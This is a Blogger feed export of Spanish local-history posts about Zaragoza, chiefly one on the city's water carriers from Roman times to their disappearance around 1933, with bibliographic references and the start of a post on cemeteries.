&lt;div class=&quot;MsoNormal&quot; style=&quot;text-align: justify;&quot;&gt;
&lt;span style=&quot;color: #0b5394;&quot;&gt;&lt;span style=&quot;font-size: small;&quot;&gt;2.- Murillo, fray Diego.- &lt;u&gt;Fundación
milagrosa de la Capilla angélica y apostólica de la Madre de Dios del Pilar, y
excelencias de la imperial ciudad de Zaragoza&lt;/u&gt;. Barcelona 1616. Capítulo
XXXIII, pág 275&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;text-align: justify;&quot;&gt;
&lt;/div&gt;
&lt;span style=&quot;color: #0b5394;&quot;&gt;&lt;span style=&quot;font-size: small;&quot;&gt;

&lt;/span&gt;&lt;/span&gt;
&lt;br /&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;text-align: justify;&quot;&gt;
&lt;span style=&quot;color: #0b5394;&quot;&gt;&lt;span style=&quot;font-size: small;&quot;&gt;3.- Cia Blasco, J. “Precedentes y
orígenes del monasterio jerónimo de Santa Engracia de Zaragoza”. &lt;i&gt;Revista de Historia Jerónimo Zurita, 76-77. &lt;/i&gt;Zaragoza,
2001-2002. Institución Fernando el Católico.&lt;i&gt;
&lt;/i&gt;83 p.&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;text-align: justify;&quot;&gt;
&lt;/div&gt;
&lt;span style=&quot;color: #0b5394;&quot;&gt;&lt;span style=&quot;font-size: small;&quot;&gt;

&lt;/span&gt;&lt;/span&gt;
&lt;br /&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;text-align: justify;&quot;&gt;
&lt;span style=&quot;color: #0b5394;&quot;&gt;&lt;span style=&quot;font-size: small;&quot;&gt;4.-Ansón Navarro, A. “La Iglesia
Alta del Real Monasterio de Santa Engracia: aproximación a un monumento
desparecido”. &lt;i&gt;Seminario de Arte Aragonés&lt;/i&gt;,
XXIX-XXX. Zaragoza, 1979. Institución Fernando el Católico. Pp. 5-26.&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;text-align: justify;&quot;&gt;
&lt;/div&gt;
&lt;span style=&quot;color: #0b5394;&quot;&gt;&lt;span style=&quot;font-size: small;&quot;&gt;

&lt;/span&gt;&lt;/span&gt;
&lt;br /&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;text-align: justify;&quot;&gt;
&lt;span style=&quot;color: #0b5394;&quot;&gt;&lt;span style=&quot;font-size: small;&quot;&gt;5.- Ponz, A. &lt;u&gt;Viage de España…&lt;/u&gt;,
Carta segunda.Tomo XV. Madrid, 1788. Pág. 47 y 48.&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;text-align: justify;&quot;&gt;
&lt;/div&gt;
&lt;span style=&quot;color: #0b5394;&quot;&gt;&lt;span style=&quot;font-size: small;&quot;&gt;

&lt;/span&gt;&lt;/span&gt;
&lt;br /&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;text-align: justify;&quot;&gt;
&lt;span style=&quot;color: #0b5394;&quot;&gt;&lt;span style=&quot;font-size: small;&quot;&gt;6.-Alcaide Ibieca, A. &lt;u&gt;Historia
de los dos Sitios de Zaragoza&lt;/u&gt;. Madrid 1830-1831. Pág. 111 y 112&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;text-align: justify;&quot;&gt;
&lt;/div&gt;
&lt;span style=&quot;color: #0b5394;&quot;&gt;&lt;span style=&quot;font-size: small;&quot;&gt;

&lt;/span&gt;&lt;/span&gt;
&lt;br /&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;text-align: justify;&quot;&gt;
&lt;span style=&quot;color: #0b5394;&quot;&gt;&lt;span style=&quot;font-size: small;&quot;&gt;7.- Quinto y de los Ríos. &lt;u&gt;Album
Gráfico de Zaragoza&lt;/u&gt;.&amp;nbsp; Zaragoza, 1985.
Pág. 119 &lt;/span&gt;&lt;/span&gt;&lt;/div&gt;
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&lt;![endif]--&gt;</content><link rel='replies' type='application/atom+xml' href='https://lazaragozaignorada.blogspot.com/feeds/6233735513434201693/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='https://lazaragozaignorada.blogspot.com/2020/08/sabias-que-en-zaragoza.html#comment-form' title='0 comentarios'/><link rel='edit' type='application/atom+xml' href='https://www.blogger.com/feeds/3754730700529506539/posts/default/6233735513434201693'/><link rel='self' type='application/atom+xml' href='https://www.blogger.com/feeds/3754730700529506539/posts/default/6233735513434201693'/><link rel='alternate' type='text/html' href='https://lazaragozaignorada.blogspot.com/2020/08/sabias-que-en-zaragoza.html' title='Santa Engracia'/><author><name>Rosa</name><uri>http://www.blogger.com/profile/08409146523301149560</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='https://img1.blogblog.com/img/b16-rounded.gif'/></author><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjch2MKWbzkIVBd5rJ9XRCEPEODqgZDvxFceseqqyhTP1sw26e1SidQcPE38YnyXGAYoV7AUxBFwl-33ut1XtYuyxx9YHN5GGdBnXg8V8J1lXa-_Sw_FUGwynZxIHNH2s6-dqaxwdTpHu9p/s72-c/Iglesia+actual.jpg" height="72" width="72"/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-3754730700529506539.post-3190626307222602800</id><published>2020-07-20T19:15:00.007+02:00</published><updated>2025-02-11T14:57:43.215+01:00</updated><category scheme="http://www.blogger.com/atom/ns#" term="EDAD CONTEMPORÁNEA"/><category scheme="http://www.blogger.com/atom/ns#" term="EDAD MODERNA"/><category scheme="http://www.blogger.com/atom/ns#" term="TRADICIONES"/><title type='text'>Los aguadores</title><content type='html'>&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: 0cm; text-align: justify;&quot;&gt;
&lt;/div&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;/div&gt;
&lt;span face=&quot;&amp;quot;arial&amp;quot; , &amp;quot;helvetica&amp;quot; , sans-serif&quot;&gt;&lt;div&gt;&lt;span style=&quot;font-family: helvetica; font-size: large;&quot;&gt;&lt;i&gt;&lt;b&gt;¿Sabías que ... hubo aguadores en Zaragoza?&lt;/b&gt;&lt;/i&gt;&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;font-size: x-large; font-weight: bold;&quot;&gt;&lt;span face=&quot;&amp;quot;arial&amp;quot; , &amp;quot;helvetica&amp;quot; , sans-serif&quot; style=&quot;font-size: large;&quot;&gt;&lt;b&gt;&lt;br /&gt;&lt;/b&gt;&lt;/span&gt;&lt;b style=&quot;mso-bidi-font-weight: normal;&quot;&gt;&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgOicvimFVFS3nx7tyXbqHGXdFpOmUVw9OBzn1kXLdmwmAmzmWFNga9P4UvzTzaUuodpvdV6B8jVV-MTtqj2ggy0D7UTGBqiqr7zJ2435TE5t-AkVecVwyIk2FyrCNKuVJTkGdVzC3pFLNW/s1600/Azac%25C3%25A1n+castellano.+Hacia+1530.jpg&quot; style=&quot;clear: left; float: left; margin-bottom: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; data-original-height=&quot;671&quot; data-original-width=&quot;1000&quot; height=&quot;267&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgOicvimFVFS3nx7tyXbqHGXdFpOmUVw9OBzn1kXLdmwmAmzmWFNga9P4UvzTzaUuodpvdV6B8jVV-MTtqj2ggy0D7UTGBqiqr7zJ2435TE5t-AkVecVwyIk2FyrCNKuVJTkGdVzC3pFLNW/s400/Azac%25C3%25A1n+castellano.+Hacia+1530.jpg&quot; width=&quot;400&quot; /&gt;&lt;/a&gt;&lt;/b&gt;&lt;/div&gt;&lt;div&gt;&lt;span style=&quot;font-size: medium;&quot;&gt;&lt;b&gt;Los aguadores abastecieron de agua potable a los zaragozanos durante mil quinientos años.&lt;/b&gt;&lt;/span&gt;&lt;/div&gt;&lt;/span&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: 0cm; text-align: justify;&quot;&gt;
&lt;/div&gt;
&lt;br /&gt;
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&lt;span face=&quot;&amp;quot;arial&amp;quot; , &amp;quot;helvetica&amp;quot; , sans-serif&quot;&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: 0cm; text-align: justify;&quot;&gt;
&lt;span face=&quot;&amp;quot;arial&amp;quot; , &amp;quot;helvetica&amp;quot; , sans-serif&quot;&gt;Al grito de “&lt;b style=&quot;mso-bidi-font-weight: normal;&quot;&gt;¡El aguadooooor…!
¿Quién la quiere?&lt;/b&gt;” recorrían los aguadores las calles de Zaragoza pregonando
su valiosa mercancía. Acarrear agua era un oficio duro y humilde, que tras
siglos de vigencia, desapareció cuando en nuestra ciudad se instalaron, ya en
el siglo XX, las redes de abastecimiento de agua potable y alcantarillado.&lt;/span&gt;&lt;br /&gt;
&lt;a name=&#39;more&#39;&gt;&lt;/a&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: 0cm; text-align: justify;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
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Caesaraugusta, como toda ciudad romana, contó desde su fundación, hace
dos mil años, con estos imponentes sistemas de canalización (como lo demuestran
los restos de cloacas todavía existentes), ya que el abastecimiento de agua de
calidad a las ciudades y la evacuación de las residuales era algo fundamental
para los romanos a la hora de fundar una ciudad para evitar los problemas
sanitarios que acarrea la insalubridad de las aguas. &lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: 0cm; text-align: justify;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
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Más tarde, los acontecimientos históricos que siguieron a la caída de
Roma, hicieron que en cualquier lugar de lo que había sido su imperio, las
grandes infraestructuras hidráulicas romanas dejaran de funcionar y pasaran al
olvido. &lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: 0cm; text-align: justify;&quot;&gt;
Pero el agua potable siguió siendo una necesidad y la ausencia de
fuentes públicas hacía que los ciudadanos tuvieran que ir a buscarla a zonas convenientes
fuera de las poblaciones, lo que suponía un gran esfuerzo. &lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: 0cm; text-align: justify;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
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Por esta razón, en la Edad Media, surgieron los aguadores, personas
que recogían el agua en lugares adecuados fuera de la ciudad, y la vendían, casa
por casa, a los ciudadanos. El oficio de aguador era, por tanto, muy antiguo, su
presencia fue habitual en todas las poblaciones españolas durante más de mil quinientos
años. &lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: 0cm; text-align: justify;&quot;&gt;
En Al-Ándalus fue muy popular. Había aguadores en todas las poblaciones
más o menos grandes y dejaron tanta huella que, siglos después, con la palabra “azacán”,
derivada de la del árabe hispano “&lt;i style=&quot;mso-bidi-font-style: normal;&quot;&gt;assaqqá&lt;/i&gt;”
(aguador) se seguía designando en Castilla y Andalucía a los portadores de agua,
herederos directos del “&lt;i style=&quot;mso-bidi-font-style: normal;&quot;&gt;assaqqá&lt;/i&gt;”
musulmán. &lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: 0cm; text-align: justify;&quot;&gt;
Los aguadores o azacanes, recogían el agua potable en fuentes
naturales y manantiales y la transportaban en cántaros portados por burros o carros
con los que llegaban hasta las viviendas para llenar los diferentes enseres de quienes
la solicitaban.&lt;/div&gt;
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&lt;br /&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: 0cm; text-align: justify;&quot;&gt;
Hubo diferentes tipos de aguadores pues no todos disponían de igual equipamiento
y según fuera éste recibían distintos nombres. Así, había “&lt;i style=&quot;mso-bidi-font-style: normal;&quot;&gt;aguadores de batea&lt;/i&gt;”, “&lt;i style=&quot;mso-bidi-font-style: normal;&quot;&gt;azacanes
de carretillo&lt;/i&gt;”, “&lt;i style=&quot;mso-bidi-font-style: normal;&quot;&gt;aguadores&lt;/i&gt; &lt;i style=&quot;mso-bidi-font-style: normal;&quot;&gt;de burro&lt;/i&gt;” o “&lt;i style=&quot;mso-bidi-font-style: normal;&quot;&gt;cantareros de azacán&lt;/i&gt;”. Los más pudientes transportaban los cántaros
en carros tirados por burros o mulas y los había que transportaban el agua en
grandes barriles, los “&lt;i style=&quot;mso-bidi-font-style: normal;&quot;&gt;aguadores de cuba”.&lt;/i&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: 0cm; text-align: justify;&quot;&gt;
Tras el descubrimiento de América, los españoles exportamos este
oficio allí, que bajo el nombre de “&lt;i style=&quot;mso-bidi-font-style: normal;&quot;&gt;aguateros&lt;/i&gt;”
perduró hasta finales del s. XIX e incluso hasta bien entrado el s. XX.&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: 0cm; text-align: justify;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: 0cm; text-align: justify;&quot;&gt;
La literatura española del Siglo de Oro nos aporta muchas noticias
sobre los aguadores, como podemos ver en las obras de Cervantes, Lope de Vega,
Quevedo… y también en la novela picaresca, pues este oficio fue ejercido, en
algún momento de sus azarosas vidas, por los más ilustres pícaros de nuestras
letras como el Lazarillo de Tormes y Guzmán de Alfarache. &lt;span style=&quot;mso-spacerun: yes;&quot;&gt;&amp;nbsp;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: 0cm; text-align: justify;&quot;&gt;
Tiempo después, Galdós en su obra &lt;i style=&quot;mso-bidi-font-style: normal;&quot;&gt;La
Corte de Carlos IV&lt;/i&gt;, cita a uno de ellos: “&lt;i style=&quot;mso-bidi-font-style: normal;&quot;&gt;Pedro Collado, el aguador de la fuente del Berro&lt;/i&gt;”.&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: 0cm; text-align: justify;&quot;&gt;
También los grandes pintores, como Velázquez y Goya, dieron testimonio
de ellos en algunas de sus grandes obras. &lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: 0cm; text-align: justify;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: 0cm; text-align: justify;&quot;&gt;
Al igual que otras ciudades, Zaragoza, a pesar de contar con tres
ríos, Ebro, Gállego y Huerva, no tuvo ni una sola fuente pública hasta la mitad
del S.XIX. &lt;span style=&quot;mso-spacerun: yes;&quot;&gt;&amp;nbsp;&lt;/span&gt;Durante unos mil quinientos
años no existió en la ciudad una red de suministro de agua potable ni de
alcantarillado, viéndose obligados&lt;span style=&quot;mso-spacerun: yes;&quot;&gt;&amp;nbsp; &lt;/span&gt;los
habitantes a arrojar todo tipo de desperdicios a la calle. Por esta y otras
razones, las numerosas acequias que atravesaban la población eran absolutamente
insalubres y la capa freática que proporcionaba el agua a los pozos de las
casas, estaba contaminada, por lo que sólo se utilizaba para las labores
domésticas. Los aguadores fueron los que, durante todos esos siglos, abastecieron
de agua potable a los ciudadanos, existe constancia documental de ellos desde
el siglo XVI. &lt;span style=&quot;mso-spacerun: yes;&quot;&gt;&amp;nbsp;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: 0cm; text-align: justify;&quot;&gt;
También sabemos que en 1786&lt;b style=&quot;mso-bidi-font-weight: normal;&quot;&gt;&lt;sup&gt;&lt;span style=&quot;color: red;&quot;&gt;1&lt;/span&gt;&lt;/sup&gt;&lt;span style=&quot;color: red;&quot;&gt; &lt;/span&gt;&lt;/b&gt;ejercían la
profesión de aguadores ciento cincuenta hombres que contaban con unos
quinientos burros para el reparto, los cuales podían transportar seis cántaros
cada uno.&lt;b style=&quot;mso-bidi-font-weight: normal;&quot;&gt; &lt;/b&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: 0cm; text-align: justify;&quot;&gt;
Como en otros lugares, estaban agrupados en un gremio y su trabajo
reglamentado, además de por su propio estatuto, por ordenanzas municipales al
ser un servicio público. En algunos momentos estas ordenanzas fueron muy
estrictas respecto a la calidad del agua y la capacidad de los cántaros, para
evitar fraudes.&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: 0cm; text-align: justify;&quot;&gt;
Recogían el agua del Ebro o del Gállego, en las zonas donde había más
corriente, a las que accedían por medio de barcazas o “andadores de madera”, en
manantiales o bien de las propias acequias en zonas fuera del casco urbano. Pero
la picaresca siempre existió y muchas veces, para ahorrar tiempo y esfuerzo, la
cogían de las contaminadas orillas de los ríos o de lugares de muy dudosa
salubridad lo que causó muchos problemas sanitarios y sanciones. &lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: 0cm; text-align: justify;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: 0cm; text-align: justify;&quot;&gt;
Gracia Albacar, nos habla de ello en su libro&lt;b style=&quot;mso-bidi-font-weight: normal;&quot;&gt;&lt;sup&gt;&lt;span style=&quot;color: red;&quot;&gt;2&lt;/span&gt;&lt;/sup&gt;&lt;/b&gt; , dice que existían &lt;i style=&quot;mso-bidi-font-style: normal;&quot;&gt;“… aguadores con carro y cuba grande que
iban a recoger el agua a la acequia de la Romareda, junto a la Facultad de
Medicina, a la acequia del Rabal, al Ebro y algunas veces al Gállego, exigido
así por los parroquianos, que pagaban muy a gusto el correspondiente
sobreprecio&lt;/i&gt;”. El agua de este río era muy valorada pues “… &lt;i style=&quot;mso-bidi-font-style: normal;&quot;&gt;en el mes de enero traían el agua clara, el
agua de nieve, del Gállego, tomándola más arriba del puente de Santa Isabel&lt;/i&gt;”.&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: 0cm; text-align: justify;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: 0cm; text-align: justify;&quot;&gt;
Al igual que otros gremios, los aguadores vivían agrupados en una
calle a la que dieron nombre. Todavía existe hoy y lleva el mismo nombre desde
hace muchos siglos: &lt;u&gt;la calle Aguadores&lt;/u&gt;. &lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: 0cm; text-align: justify;&quot;&gt;
Está calle, de origen medieval, está situada en el barrio de San Pablo
y discurre, perpendicular al Ebro en dirección norte-sur, en origen iba desde
la calle Predicadores hasta la de Cantarerías, hoy Pignatelli, otra calle en la
que se agrupaba un gremio muy relacionado con los aguadores. En 1863 los
cambios introducidos en la toponimia urbana redujeron la calle Aguadores al
tramo comprendido entre la de Predicadores y la de San Blas y el resto recibió
el nombre de Mariano Cerezo, héroe de los Sitios, por haber vivido en ese
lugar. &lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: 0cm; text-align: justify;&quot;&gt;
Para facilitar a los aguadores la salida de la ciudad al Ebro se
abrieron, a lo largo de los tiempos, varios treques y postigos en sus murallas,
todavía hoy el nombre de una calle que prácticamente es continuación de la de
Aguadores, recuerda a uno de ellos: la calle Postigo del Ebro.&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: 0cm; text-align: justify;&quot;&gt;
El esfuerzo que suponía la recogida del agua potable se vio aliviado
en el verano de 1840 con la inauguración de la fuente de La Princesa. Situada en
la actual plaza de España, era la primera fuente pública que existía en plena Zaragoza
desde el tiempo de los romanos y supuso un gran cambio para los aguadores que
ya no tenían que hacer penosos desplazamientos para conseguir el agua, pues
podían proveerse de ella en la propia ciudad. A la fuente acudían nutridos
grupos de “aguadores de burro”, formando un gran bullicio. Fue ésta una estampa
típica de la Zaragoza de la segunda mitad del S.XIX. &lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: 0cm; text-align: justify;&quot;&gt;
Pero en realidad esto fue la antesala del final de esta milenaria
profesión. En el último tercio de ese siglo XIX, poco a poco, se fueron
instalando fuentes en diferentes zonas de la ciudad y, para ahorrarse un
dinero, la gente recogía en ellas el agua personalmente, con lo que los
aguadores perdieron demanda y su trabajo fue mermando. &lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;line-height: normal; margin-bottom: 0cm; text-align: justify;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: 0cm; text-align: justify;&quot;&gt;
&lt;i style=&quot;mso-bidi-font-style: normal;&quot;&gt;“Con las fuentes- decía ayer uno
de los supervivientes-nos vamos yendo nosotros también” &lt;span style=&quot;mso-spacerun: yes;&quot;&gt;&amp;nbsp;&lt;/span&gt;&lt;/i&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;line-height: normal; margin-bottom: 0cm; text-align: justify;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: 0cm; text-align: justify;&quot;&gt;
Así recogía el diario Heraldo de Aragón en un artículo&lt;b style=&quot;mso-bidi-font-weight: normal;&quot;&gt;&lt;sup&gt;&lt;span style=&quot;color: red;&quot;&gt;3&lt;/span&gt;&lt;/sup&gt;&lt;/b&gt;,
publicado en octubre de 1933, el testimonio de dos viejos aguadores que
contaron al periodista las penalidades de su trabajo y la colaboración que
hacían los aguadores en los casos de incendio: el “&lt;i style=&quot;mso-bidi-font-style: normal;&quot;&gt;señor Gregorio&lt;/i&gt;” y el “&lt;i style=&quot;mso-bidi-font-style: normal;&quot;&gt;señor
Ricardo&lt;/i&gt;”, que fueron los últimos que existieron en Zaragoza.&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: 0cm; text-align: justify;&quot;&gt;
La paulatina instalación de la red de agua potable y alcantarillado
acabó inexorablemente con la existencia de milenio y medio de aguadores, el
oficio tocaba a su fin.&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: 0cm; text-align: justify;&quot;&gt;
No sabemos quién fue el primer aguador, pero si sabemos quién fue el
último, así se lo contó el “&lt;i style=&quot;mso-bidi-font-style: normal;&quot;&gt;señor Ricardo”&lt;/i&gt;
al periodista: &lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: 0cm; text-align: justify;&quot;&gt;
&lt;i style=&quot;mso-bidi-font-style: normal;&quot;&gt;“Yo -fui, yo- nos dice- el
último aguador que dejó el oficio. Con este carro y esta burrica que usted ve,
estuve trajinando hasta hace pocos años”. &lt;/i&gt;&lt;span style=&quot;mso-spacerun: yes;&quot;&gt;&amp;nbsp;&lt;/span&gt;Era 1933.&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: 0cm; text-align: justify;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: 0cm; text-align: justify;&quot;&gt;
________________________________________________________________&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: 0cm; margin-left: 14.2pt; margin-right: 0cm; margin-top: 0cm; margin: 0cm 0cm 0cm 14.2pt; text-align: justify; text-indent: -14.2pt;&quot;&gt;
&lt;span style=&quot;font-size: 9pt; line-height: 115%;&quot;&gt;1.-Blazquez, C. (2008). “Zaragoza dos
milenios de agua”. Segunda edición 2006. Zaragoza. Editorial Acualis.&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: 0cm; margin-left: 14.2pt; margin-right: 0cm; margin-top: 0cm; margin: 0cm 0cm 0cm 14.2pt; text-align: justify; text-indent: -14.2pt;&quot;&gt;
&lt;span style=&quot;font-size: 9pt; line-height: 115%;&quot;&gt;2.- Gracia Albacar, M. (2019).
“Memorias de un zaragozano (1850-1861)”. Zaragoza. Institución Fernando el
Católico.&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: 0cm; margin-left: 14.2pt; margin-right: 0cm; margin-top: 0cm; margin: 0cm 0cm 0cm 14.2pt; text-align: justify; text-indent: -14.2pt;&quot;&gt;
&lt;span style=&quot;font-size: 9pt; line-height: 115%;&quot;&gt;3.- En uno de los paneles informativos
del Museo del Teatro de Cesaraugusta, aparece la reproducción del citado
artículo de Heraldo de Aragón, que también Blazquez recoge en su libro. &lt;/span&gt;&lt;/div&gt;
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&lt;![endif]--&gt;</content><link rel='replies' type='application/atom+xml' href='https://lazaragozaignorada.blogspot.com/feeds/3190626307222602800/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='https://lazaragozaignorada.blogspot.com/2020/07/normal-0-21-false-false-false-es-x-none.html#comment-form' title='0 comentarios'/><link rel='edit' type='application/atom+xml' href='https://www.blogger.com/feeds/3754730700529506539/posts/default/3190626307222602800'/><link rel='self' type='application/atom+xml' href='https://www.blogger.com/feeds/3754730700529506539/posts/default/3190626307222602800'/><link rel='alternate' type='text/html' href='https://lazaragozaignorada.blogspot.com/2020/07/normal-0-21-false-false-false-es-x-none.html' title='Los aguadores'/><author><name>Rosa</name><uri>http://www.blogger.com/profile/08409146523301149560</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='https://img1.blogblog.com/img/b16-rounded.gif'/></author><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgOicvimFVFS3nx7tyXbqHGXdFpOmUVw9OBzn1kXLdmwmAmzmWFNga9P4UvzTzaUuodpvdV6B8jVV-MTtqj2ggy0D7UTGBqiqr7zJ2435TE5t-AkVecVwyIk2FyrCNKuVJTkGdVzC3pFLNW/s72-c/Azac%25C3%25A1n+castellano.+Hacia+1530.jpg" height="72" width="72"/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-3754730700529506539.post-1337373642345145675</id><published>2020-06-22T14:27:00.011+02:00</published><updated>2020-11-07T19:38:10.543+01:00</updated><category scheme="http://www.blogger.com/atom/ns#" term="CEMENTERIOS"/><category scheme="http://www.blogger.com/atom/ns#" term="EDAD CONTEMPORÁNEA"/><category scheme="http://www.blogger.com/atom/ns#" term="EDAD MEDIA"/><category scheme="http://www.blogger.com/atom/ns#" term="EDAD MODERNA"/><title type='text'>Los cementerios de Zaragoza</title><content type='html'>
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&lt;![endif]--&gt;


&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;
&lt;h3 style=&quot;text-align: justify;&quot;&gt;&lt;span style=&quot;font-size: large;&quot;&gt;&lt;span style=&quot;font-family: helvetica;&quot;&gt;&lt;i&gt;&lt;span&gt;&lt;span face=&quot;&amp;quot;arial&amp;quot; , &amp;quot;sans-serif&amp;quot;&quot;&gt;&lt;span face=&quot;&amp;quot;arial&amp;quot; , &amp;quot;sans-serif&amp;quot;&quot;&gt;&lt;span&gt;&lt;span face=&quot;&amp;quot;arial&amp;quot; , &amp;quot;sans-serif&amp;quot;&quot;&gt;&lt;span face=&quot;&amp;quot;arial&amp;quot; , &amp;quot;sans-serif&amp;quot;&quot;&gt;&lt;span&gt;&lt;span face=&quot;&amp;quot;arial&amp;quot; , &amp;quot;sans-serif&amp;quot;&quot;&gt;&lt;span face=&quot;&amp;quot;arial&amp;quot; , &amp;quot;sans-serif&amp;quot;&quot;&gt;&lt;span&gt;&lt;span face=&quot;&amp;quot;arial&amp;quot; , &amp;quot;sans-serif&amp;quot;&quot;&gt;&lt;span face=&quot;&amp;quot;arial&amp;quot; , &amp;quot;sans-serif&amp;quot;&quot;&gt;&lt;span&gt;&lt;span face=&quot;&amp;quot;arial&amp;quot; , &amp;quot;sans-serif&amp;quot;&quot;&gt;&lt;span face=&quot;&amp;quot;arial&amp;quot; , &amp;quot;sans-serif&amp;quot;&quot;&gt;&lt;span&gt;&lt;span face=&quot;&amp;quot;arial&amp;quot; , &amp;quot;sans-serif&amp;quot;&quot;&gt;&lt;span face=&quot;&amp;quot;arial&amp;quot; , &amp;quot;sans-serif&amp;quot;&quot;&gt;&lt;span&gt;&lt;span face=&quot;&amp;quot;arial&amp;quot; , &amp;quot;sans-serif&amp;quot;&quot;&gt;&lt;span face=&quot;&amp;quot;arial&amp;quot; , &amp;quot;sans-serif&amp;quot;&quot;&gt;&lt;span&gt;&lt;span face=&quot;&amp;quot;arial&amp;quot; , &amp;quot;sans-serif&amp;quot;&quot;&gt;&lt;span face=&quot;&amp;quot;arial&amp;quot; , &amp;quot;sans-serif&amp;quot;&quot;&gt;&lt;span&gt;&lt;span face=&quot;&amp;quot;arial&amp;quot; , &amp;quot;sans-serif&amp;quot;&quot; style=&quot;line-height: 115%;&quot;&gt;&lt;br 